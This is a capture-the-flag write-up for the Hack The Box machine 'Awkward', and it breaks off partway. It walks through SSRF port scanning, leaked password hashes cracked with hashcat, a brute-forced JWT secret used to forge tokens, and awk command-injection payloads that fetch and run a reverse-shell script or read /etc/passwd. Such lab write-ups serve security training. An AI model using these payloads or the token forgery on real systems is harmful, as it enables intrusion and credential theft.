Awkward writeup
17 December, 2022 00:00 CET
INDEX
Enumeration
nmap -sV -p- -A 10.10.11.185
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 7254afbaf6e2835941b7cd611c2f418b (ECDSA) |_ 256 59365bba3c7821e326b37d23605aec38 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
curl 10.10.11.185
<!DOCTYPE html> <html> <head> <meta http-equiv="Refresh" content="0; url='http://hat-valley.htb'" /> </head> <body> </body> </html>
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://hat-valley.htb/
/static (Status: 301) [Size: 179] [--> /static/] /css (Status: 301) [Size: 173] [--> /css/] /js (Status: 301) [Size: 171] [--> /js/]
-
http://hat-valley.htb/js/app.js
→ site created with VUE.jsseeing the
http://hat-valley.htb/js/custom.js
file I tried to do a HTTP POST:
curl -d "firstname=test&email=test@test.htb&lastname=test&message=test&agree=yes" -X POST http://hat-valley.htb/
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot POST /</pre> </body> </html>
the site mentions: We are currently building an online store! No longer do you have to come visit us - stay at home, visit your local library or steal your neighbours internet, and buy our hats online!
I’m looking for subdomains:
./eren.bin subdomain_fuzzing hat-valley.htb --threads 100
[FOUND] LINE 100 --> http://store.hat-valley.htb
found the subdomain, I also search in the file
http://hat-valley.htb/js/app.js
the keywords “store”, “.htb”, “href”:return _services_status_js__WEBPACK_IMPORTED_MODULE_2__["default"].store_status("http://store.hat-valley.htb")
__webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack/hot/dev-server.js */"./node_modules/webpack/hot/dev-server.js"); __webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node */"./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node");
window.location.href = "/dashboard"
there is a very interesting subpage
http://hat-valley.htb/sockjs-node
, I go in order and analyze the whole store first -
I visit
http://store.hat-valley.htb
andhttp://hat-valley.htb/dashboard
(redirect tohttp://hat-valley.htb/hr
) → both require a loginNOTE:
http://store.hat-valley.htb
uses https://en.wikipedia.org/wiki/Basic_access_authenticationI search in
http://hat-valley.htb/js/app.js
if there are references to the word “login”:if ((to.name == 'leave' || to.name == 'dashboard') && vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__["VueCookieNext"].getCookie('token') == 'guest') { //if user not logged in, redirect to login next({name: 'hr'}); } else if (to.name == 'hr' && vue_cookie_next__WEBPACK_IMPORTED_MODULE_2__["VueCookieNext"].getCookie('token') != 'guest') { //if user logged in, skip past login to dashboard next({name: 'dashboard'}); } else { next(); }
seeing the control in the previous code just change the value of the token with a value other than
guest
to be taken to the/dashboard
-
the site basically has only one function: Leave Requests, I put random parameters and see if it generates traffic:
JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:102:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
I see in the
Network
tab of the browser that the following URLs have been contacted and both respond with the same error above (HTTP 500):http://hat-valley.htb/api/all-leave
(done automatically, HTTP GET)http://hat-valley.htb/api/submit-leave
(my request, HTTP POST)
I go into
JWT
: https://www.vaadata.com/blog/jwt-tokens-and-security-working-principles-and-use-cases/ok, is it bypassable? https://medium.com/swlh/hacking-json-web-tokens-jwts-9122efe91e4a
unfortunately I don’t think it can be bypassed, I don’t have enough elements so I go back to the enumeration
-
https://stackoverflow.com/questions/71929421/call-vue-store-action-through-browser-console
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties
$cookie: {install: ƒ, config: ƒ, getCookie: ƒ, setCookie: ƒ, removeCookie: ƒ, …} $route: (...) $router: {currentRoute: RefImpl, listening: true, addRoute: ƒ, removeRoute: ƒ, hasRoute: ƒ, …} $store: Store {_committing: false, _actions: {…}, _actionSubscribers: Array(0), _mutations: {…}, _wrappedGetters: {…}, …} get $route: () => {…} [[Prototype]]: Object
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$cookie.getCookie()
null
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()
0: {path: '/', redirect: undefined, name: 'base', meta: {…}, aliasOf: undefined, …} 1: {path: '/hr', redirect: undefined, name: 'hr', meta: {…}, aliasOf: undefined, …} 2: {path: '/dashboard', redirect: undefined, name: 'dashboard', meta: {…}, aliasOf: undefined, …} 3: {path: '/leave', redirect: undefined, name: 'leave', meta: {…}, aliasOf: undefined, …}
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$store
commit: ƒ boundCommit(type, payload, options) dispatch: ƒ boundDispatch(type, payload)
- I search for the word “token” in
http://hat-valley.htb/js/app.js
and find the following functions:name: 'HR', data: function data() { return { username: '', password: '' }; }, methods: { updateUsername: function updateUsername(event) { this.username = event.target.value; }, updatePassword: function updatePassword(event) { this.password = event.target.value; }, hideError: function hideError() { document.getElementsByClassName("wrongCreds")[0].style.display = 'none'; }, submitForm: function submitForm(e) { var _this = this; return Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() { return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: e.preventDefault(); _context.next = 3; return _services_session_js__WEBPACK_IMPORTED_MODULE_3__["default"].login(_this.username, _this.password).then(function (data) { _this.$cookie.setCookie("token", data.token); _this.$store.commit('change', { name: "firstName", value: data.name }); localStorage.setItem("firstName", data.name); window.location.href = "/dashboard"; //instead of router.push so JS charts is executed }).catch(function (error) { document.getElementsByClassName("wrongCreds")[0].style.display = 'block'; _this.username = ''; _this.password = ''; document.getElementById("sign-in-form").reset(); }); case 3: case "end": return _context.stop(); } } }, _callee); }))(); } }
starting from
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties
I can trace the position of the previous functions.
So I’m able to enumerate all the other functions present in the routes:Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[1].components.default
data: ƒ data() methods: hideError: ƒ hideError() submitForm: ƒ submitForm(e) updatePassword: ƒ updatePassword(event) updateUsername: ƒ updateUsername(event) [[Prototype]]: Object name: "HR" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) __file: "src/HR.vue" __hmrId: "4a4031a3" __scopeId: "data-v-4a4031a3" [[Prototype]]: Object
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[0].components.default
name: "Base" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) __file: "src/Base.vue" __hmrId: "4c40c86c" __scopeId: "data-v-4c40c86c" [[Prototype]]: Object
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default
created: ƒ created() data: ƒ data() methods: getStaff: ƒ getStaff() logout: ƒ logout() refreshStatus: ƒ refreshStatus() [[Prototype]]: Object name: "Dashboard" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) setup: ƒ __injectCSSVars__() __file: "src/Dashboard.vue" __hmrId: "4bc724eb" __scopeId: "data-v-4bc724eb" [[Prototype]]: Object
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default
created: ƒ created() data: ƒ data() methods: hideSuccess: ƒ hideSuccess() logout: ƒ logout() refreshLeave: ƒ refreshLeave() submitForm: f submitForm(e) updateEnd: ƒ updateEnd(event) updateReason: ƒ updateReason(event) updateStart: ƒ updateStart(event) [[Prototype]]: Object name: "Leave" render: ƒ render(_ctx, _cache, $props, $setup, $data, $options) __file: "src/Leave.vue" __hmrId: "33fd770e" __scopeId: "data-v-33fd770e" [[Prototype]]: Object
-
I retrieve the sources of the other functions:
-
name: 'Dashboard', data: function data() { return { status: null, color: null, staff_details: null }; }, methods: { refreshStatus: function () { var _refreshStatus = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee() { var _this = this; return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: _context.next = 2; return _services_status_js__WEBPACK_IMPORTED_MODULE_2__["default"].store_status("http://store.hat-valley.htb").then(function (data) { if (data.length > 0) { _this.status = "Up"; _this.color = "green"; } else { _this.status = "Down"; _this.color = "red"; } }).catch(function (error) { console.log(error); }); case 2: case "end": return _context.stop(); } } }, _callee); })); function refreshStatus() { return _refreshStatus.apply(this, arguments); } return refreshStatus; }, getStaff: function () { var _getStaff = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/ regeneratorRuntime.mark(function _callee2() { var _this2 = this; return regeneratorRuntime.wrap(function _callee2$(_context2) { while (1) { switch (_context2.prev = _context2.next) { case 0: _context2.next = 2; return _services_staff_js__WEBPACK_IMPORTED_MODULE_3__["default"].staff_details().then(function (data) { _this2.staff_details = data; }).catch(function (error) { console.log(error); }); case 2: case "end": return _context2.stop(); } } }, _callee2); })); function getStaff() { return _getStaff.apply(this, arguments); } return getStaff; }, logout: function logout() { this.$cookie.removeCookie("token"); this.$store.commit('change', { name: "firstName", value: null }); localStorage.clear(); this.$router.push('/hr'); } }
I try to call the function:
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[2].components.default.methods.getStaff()
JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:151:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
again I need to have the JWT token obtained through login
-
name: 'Leave', data: function data() { return { leave_requests: null, reason: null, start: null, end: null }; }, methods: { updateReason: function updateReason(event) { this.reason = event.target.value; }, updateStart: function updateStart(event) { var split = event.target.value.split("-"); var finalStart = split[2] + "/" + split[1] + "/" + split[0]; this.start = finalStart; }, updateEnd: function updateEnd(event) { var split = event.target.value.split("-"); var finalEnd = split[2] + "/" + split[1] + "/" + split[0]; this.end = finalEnd; }, hideSuccess: function hideSuccess() { document.getElementsByClassName("successMessage")[0].style.display = 'none'; }, refreshLeave: function () { var _refreshLeave = Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/regeneratorRuntime.mark(function _callee() { var _this = this; return regeneratorRuntime.wrap(function _callee$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: _context.next = 2; return _services_leave_js__WEBPACK_IMPORTED_MODULE_5__["default"].get_all() //changed .then(function (data) { var arr = data.split("\""); arr.pop(); //remove empty extra line //remove empty extra line var leaves = []; for (var i = 0; i < arr.length; i++) { arr[i] = arr[i].replace(/(\\r\\n|\\n|\\r)/gm, ""); //remove line breaks //remove line breaks var splitUp = arr[i].split(","); var toAdd = { reason: splitUp[1], start: splitUp[2], end: splitUp[3], approved: splitUp[4] }; leaves.push(toAdd); } _this.leave_requests = leaves; }).catch(function (error) { console.log(error); }); case 2: case "end": return _context.stop(); } } }, _callee); })); function refreshLeave() { return _refreshLeave.apply(this, arguments); } return refreshLeave; }(), submitForm: function submitForm(e) { var _this2 = this; return Object(_var_www_hat_valley_htb_node_modules_babel_runtime_helpers_esm_asyncToGenerator_js__WEBPACK_IMPORTED_MODULE_0__["default"])( /*#__PURE__*/regeneratorRuntime.mark(function _callee2() { return regeneratorRuntime.wrap(function _callee2$(_context2) { while (1) { switch (_context2.prev = _context2.next) { case 0: e.preventDefault(); _context2.next = 3; return _services_leave_js__WEBPACK_IMPORTED_MODULE_5__["default"].submit_leave(_this2.reason, _this2.start, _this2.end).then(function (data) { document.getElementsByClassName("successMessage")[0].style.display = 'block'; document.getElementById("leave-form").reset(); _this2.refreshLeave(); }).catch(function (error) {}); case 3: case "end": return _context2.stop(); } } }, _callee2); }))(); }, logout: function logout() { this.$cookie.removeCookie("token"); this.$store.commit('change', { name: "firstName", value: null }); localStorage.clear(); this.$router.push('/hr'); } }
I try to call the function:
Array.from(document.querySelectorAll('*')).find(e => e.__vue_app__).__vue_app__.config.globalProperties.$router.getRoutes()[3].components.default.methods.refreshLeave()
JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:102:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
again I need to have the JWT token obtained through login
-
- there are also other functions in the
http://hat-valley.htb/js/app.js
file but not accessible from theglobalProperties
:var baseURL = "/api/"; var get_all = function get_all() { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'all-leave').then(function (response) { return response.data; }); }; var submit_leave = function submit_leave(reason, start, end) { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.post(baseURL + 'submit-leave', { reason: reason, start: start, end: end }).then(function (response) { return response.data; }); };
var baseURL = "/api/"; var login = function login(username, password) { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.post(baseURL + 'login', { username: username, password: password }).then(function (response) { return response.data; }); };
var baseURL = "/api/"; var staff_details = function staff_details() { return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'staff-details').then(function (response) { return response.data; }); };
var baseURL = "/api/"; var store_status = function store_status(URL) { var params = { url: { toJSON: function toJSON() { return URL; } } }; return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'store-status', { params: params }).then(function (response) { return response.data; }); };
-
http://hat-valley.htb/api/store-status
from the requests made by the browser I can see:
http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22
URL decoded and I got:
http://hat-valley.htb/api/store-status?url="http://store.hat-valley.htb"
so I can pass a URL at will? isn’t the website corresponding to the store hard-coded? that’s great, most likely an SSRF is present
http://hat-valley.htb/api/store-status?url=%22http://10.10.14.58:4444%22
GET / HTTP/1.1 Accept: application/json, text/plain, */* User-Agent: axios/0.27.2 Host: 10.10.14.58:4444 Connection: close
SSRF found, now I need to figure out how to exploit it
I can put some json/text into the html page and it shows server side
I’ve tried several injections but I can’t do much
http://hat-valley.htb/api/staff-details
I always get the usual error:JsonWebTokenError: jwt malformed at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17) at /var/www/hat-valley.htb/server/server.js:151:30 at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3) at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5) at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15 at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12) at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10) at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
instead if I delete the
token
cookie and do an HTTP GET tohttp://hat-valley.htb/api/staff-details
[ { "user_id":1, "username":"christine.wool", "password":"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649", "fullname":"Christine Wool", "role":"Founder, CEO", "phone":"0415202922" }, { "user_id":2, "username":"christopher.jones", "password":"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1", "fullname":"Christopher Jones", "role":"Salesperson", "phone":"0456980001" }, { "user_id":3, "username":"jackson.lightheart", "password":"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436", "fullname":"Jackson Lightheart", "role":"Salesperson", "phone":"0419444111" }, { "user_id":4, "username":"bean.hill", "password":"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f", "fullname":"Bean Hill", "role":"System Administrator", "phone":"0432339177" } ]
they are SHA256 hashes, I try to do a bruteforce attack saving all 4 hashes in
hash.txt
file6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649 e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1 b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436 37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f
hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O
I get:
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123
so I log in as
christopher.jones : chris123
in thehttp://hat-valley.htb/hr
page-
I’m logged in and finally I can create Leave Requests at
http://hat-valley.htb/leave
I notice that I cannot use the following characters:
#
,{
,}
,*
,$
,"
,(
,)
therefore an SSTI attack is not feasible
I try to see if there is an SQLI:
sqlmap -r request.txt --os='linux' --level=5 --risk=3
- now that I think about it I have the
token
cookie and consequently I can get more information about the used JWT:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM
decoding the base64 I can see the structure:
{"alg":"HS256","typ":"JWT"}{"username":"christopher.jones","iat":1670274191}.ï02bï...<Æ5...ºÌ4·*AÜa(=tRh¸ö73
https://github.com/brendan-rius/c-jwt-cracker (does not support dictionary attack)
https://github.com/aress31/jwtcat (supports dictionary attack)
I then run:
python jwtcat.py wordlist -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM
2022-12-12 21:20:51,843 kali __main__[10295] INFO Private key found: 123beany123 2022-12-12 21:20:51,843 kali __main__[10295] INFO Finished in 251.86414098739624 sec
now I can create an adhoc token for the user with admin permissions from the site https://jwt.io
header = {"alg":"HS256","typ":"JWT"} payload = {"username":"bean.hill","iat":1670877138} #www.epochconverter.com signature key = 123beany123
results:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJlYW4uaGlsbCIsImlhdCI6MTY3MDg3NzEzOH0.YQha0dBiD60yUOzD65mWLtCqDpXdZNyMol7ndnH71os
/hr
,/dashboard
and/leave
pages show no difference once the token is set -
I’m stuck, I thought this was the way but now I have to go back
I haven’t tried redirecting the SSRF to
127.0.0.1
yetgoing back in the writeup it was present inside the
http://hat-valley.htb/js/app.js
file:__webpack_require__(/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node */"./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&sockPath=/sockjs-node");
I had tried to enumerate from the outside
http://hat-valley.htb/sockjs-node
but with poor results:-
explanation: https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html
-
https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html#section-26
http://hat-valley.htb/sockjs-node/info
{"websocket":true,"origins":["*:*"],"cookie_needed":false,"entropy":896627513}
-
https://github.com/sockjs/sockjs-protocol#running-tests
SOCKJS_URL=http://hat-valley.htb:80/sockjs-node ./venv/bin/python sockjs-protocol.py -v
test_greeting (__main__.BaseUrlGreeting) ... FAIL test_notFound (__main__.BaseUrlGreeting) ... ok test_response_limit (__main__.EventSource) ... FAIL test_transport (__main__.EventSource) ... FAIL test_abort_xhr_polling (__main__.HandlingClose) ... FAIL test_abort_xhr_streaming (__main__.HandlingClose) ... FAIL test_close_frame (__main__.HandlingClose) ... FAIL test_close_request (__main__.HandlingClose) ... FAIL test_invalid_callback (__main__.HtmlFile) ... FAIL test_no_callback (__main__.HtmlFile) ... FAIL test_response_limit (__main__.HtmlFile) ... FAIL test_transport (__main__.HtmlFile) ... FAIL test_streaming (__main__.Http10) ... FAIL test_synchronous (__main__.Http10) ... FAIL test_streaming (__main__.Http11) ... FAIL test_synchronous (__main__.Http11) ... FAIL test_cacheability (__main__.IframePage) ... FAIL test_invalidUrl (__main__.IframePage) ... ok test_queriedUrl (__main__.IframePage) ... FAIL test_simpleUrl (__main__.IframePage) ... FAIL test_versionedUrl (__main__.IframePage) ... FAIL test_basic (__main__.InfoTest) ... FAIL test_disabled_websocket (__main__.InfoTest) ... FAIL test_entropy (__main__.InfoTest) ... ERROR test_options (__main__.InfoTest) ... FAIL test_options_null_origin (__main__.InfoTest) ... FAIL test_xhr_server_decodes (__main__.JSONEncoding) ... FAIL test_xhr_server_encodes (__main__.JSONEncoding) ... FAIL test_basic (__main__.JsessionidCookie) ... FAIL test_eventsource (__main__.JsessionidCookie) ... FAIL test_htmlfile (__main__.JsessionidCookie) ... FAIL test_jsonp (__main__.JsessionidCookie) ... FAIL test_xhr (__main__.JsessionidCookie) ... FAIL test_xhr_streaming (__main__.JsessionidCookie) ... FAIL test_close (__main__.JsonPolling) ... FAIL test_content_types (__main__.JsonPolling) ... FAIL test_invalid_callback (__main__.JsonPolling) ... FAIL test_invalid_json (__main__.JsonPolling) ... FAIL test_no_callback (__main__.JsonPolling) ... FAIL test_sending_empty_frame (__main__.JsonPolling) ... FAIL test_transport (__main__.JsonPolling) ... FAIL test_closeSession (__main__.Protocol) ... FAIL test_simpleSession (__main__.Protocol) ... FAIL test_close (__main__.RawWebsocket) ... ERROR test_transport (__main__.RawWebsocket) ... ERROR test_anyValue (__main__.SessionURLs) ... FAIL test_ignoringServerId (__main__.SessionURLs) See Protocol.test_simpleSession for explanation. ... FAIL test_invalidPaths (__main__.SessionURLs) ... ok test_broken_json (__main__.Websocket) ... ERROR test_close (__main__.Websocket) ... ERROR test_empty_frame (__main__.Websocket) ... ERROR test_haproxy (__main__.Websocket) ... FAIL test_headersSanity (__main__.Websocket) ... FAIL test_reuseSessionId (__main__.Websocket) ... ERROR test_transport (__main__.Websocket) ... ERROR test_httpMethod (__main__.WebsocketHttpErrors) ... FAIL test_invalidConnectionHeader (__main__.WebsocketHttpErrors) ... FAIL test_invalidMethod (__main__.WebsocketHttpErrors) ... FAIL test_content_types (__main__.XhrPolling) ... FAIL test_invalid_json (__main__.XhrPolling) ... FAIL test_invalid_session (__main__.XhrPolling) ... ok test_options (__main__.XhrPolling) ... FAIL test_request_headers_cors (__main__.XhrPolling) ... FAIL test_sending_empty_frame (__main__.XhrPolling) ... FAIL test_transport (__main__.XhrPolling) ... FAIL test_options (__main__.XhrStreaming) ... FAIL test_response_limit (__main__.XhrStreaming) ... FAIL test_transport (__main__.XhrStreaming) ... FAIL
tests passed:
test_notFound (__main__.BaseUrlGreeting) ... ok test_invalidUrl (__main__.IframePage) ... ok test_invalidPaths (__main__.SessionURLs) ... ok test_invalid_session (__main__.XhrPolling) ... ok
now instead I try to look inside the page:
http://localhost:8080&sockPath=/sockjs-node
while I’m looking at port 8080 I can try to see if there are other ports capable of talking HTTP:
for port in $(seq 1 10000); do if [ $(curl -s "http://hat-valley.htb/api/store-status?url=%22http://localhost:$port%22" | wc -l) -gt 0 ]; then echo "port $port is open and speaks HTTP"; fi; done
port 80 is open and speaks HTTP port 3002 is open and speaks HTTP port 8080 is open and speaks HTTP
-
-
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22
is empty -
http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22
contains the documentation of the functions I have already enumerated- Staff Details (
/api/staff-details
) - Retrieve the details of the Hat Valley staff.app.get('/api/staff-details', (req, res) => { const user_token = req.cookies.token var authFailed = false if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } } if(authFailed) { return res.status(401).json({Error: "Invalid Token"}) } connection.query( 'SELECT * FROM users', function (err, results) { if(err) { return res.status(500).send("Database error") } else { return res.status(200).json(results) } } ); })
- Store Status (
/api/store-status
) - Retrieve the status of the Hat Valley online store.app.get('/api/store-status', async (req, res) => { await axios.get(req.query.url.substring(1, req.query.url.length-1)) .then(http_res => { return res.status(200).send(http_res.data) }) .catch(http_err => { return res.status(200).send(http_err.data) }) })
- Submit Leave (
/api/submit-leave
) - Submit a new leave request for the logged in user.app.post('/api/submit-leave', (req, res) => { const {reason, start, end} = req.body const user_token = req.cookies.token var authFailed = false var user = null if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } else { user = decodedToken.username } } if(authFailed) { return res.status(401).json({Error: "Invalid Token"}) } if(!user) { return res.status(500).send("Invalid user") } const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] const badInUser = bad.some(char => user.includes(char)); const badInReason = bad.some(char => reason.includes(char)); const badInStart = bad.some(char => start.includes(char)); const badInEnd = bad.some(char => end.includes(char)); if(badInUser || badInReason || badInStart || badInEnd) { return res.status(500).send("Bad character detected.") } const finalEntry = user + "," + reason + "," + start + "," + end + ",Pending\r" exec(`echo "${finalEntry}" >> /var/www/private/leave_requests.csv`, (error, stdout, stderr) => { if (error) { return res.status(500).send("Failed to add leave request") } return res.status(200).send("Successfully added new leave request") }) })
- All Leave (
/api/all-leave
) - Retrieve the leave request history for the logged in user.app.get('/api/all-leave', (req, res) => { const user_token = req.cookies.token var authFailed = false var user = null if(user_token) { const decodedToken = jwt.verify(user_token, TOKEN_SECRET) if(!decodedToken.username) { authFailed = true } else { user = decodedToken.username } } if(authFailed) { return res.status(401).json({Error: "Invalid Token"}) } if(!user) { return res.status(500).send("Invalid user") } const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"] const badInUser = bad.some(char => user.includes(char)); if(badInUser) { return res.status(500).send("Bad character detected.") } exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => { if(stdout) { return res.status(200).send(new Buffer(stdout, 'binary')); } if (error) { return res.status(500).send("Failed to retrieve leave requests") } if (stderr) { return res.status(500).send("Failed to retrieve leave requests") } }) })
/api/submit-leave
and/api/all-leave
contain a command-injection vulnerability but there are many blocked characterswhat is
awk
: https://www.geeksforgeeks.org/awk-command-unixlinux-examples/the syntax is:
awk options 'selection _criteria {action }' input-file > output-file
look at: https://gtfobins.github.io/gtfobins/awk/ →
awk '//' /etc/passwd
curly braces are very important to obtain a reverse shell:
/ { print 1 } BEGIN {system("wget localhost:8000/revshell.sh")} /
→
awk '// { print 1 } BEGIN {system("wget localhost:8000/revshell.sh")} //' file.txt
/ { print 1 } BEGIN {system("bash revshell.sh")} /
→awk '// { print 1 } BEGIN {system("bash revshell.sh")} //' file.txt
the creator prevented using these characters so I guess it’s not yet time to get a reverse shell, so I just read the files on the file system:
/' /etc/passwd '
→awk '// ' /etc/passwd '/' /var/www/private/leave_requests.csv
always using the site https://jwt.io I create a token:
header = {"alg":"HS256","typ":"JWT"} payload = {"username":"/' /etc/passwd '","iat":1671016345} #www.epochconverter.com signature key = 123beany123
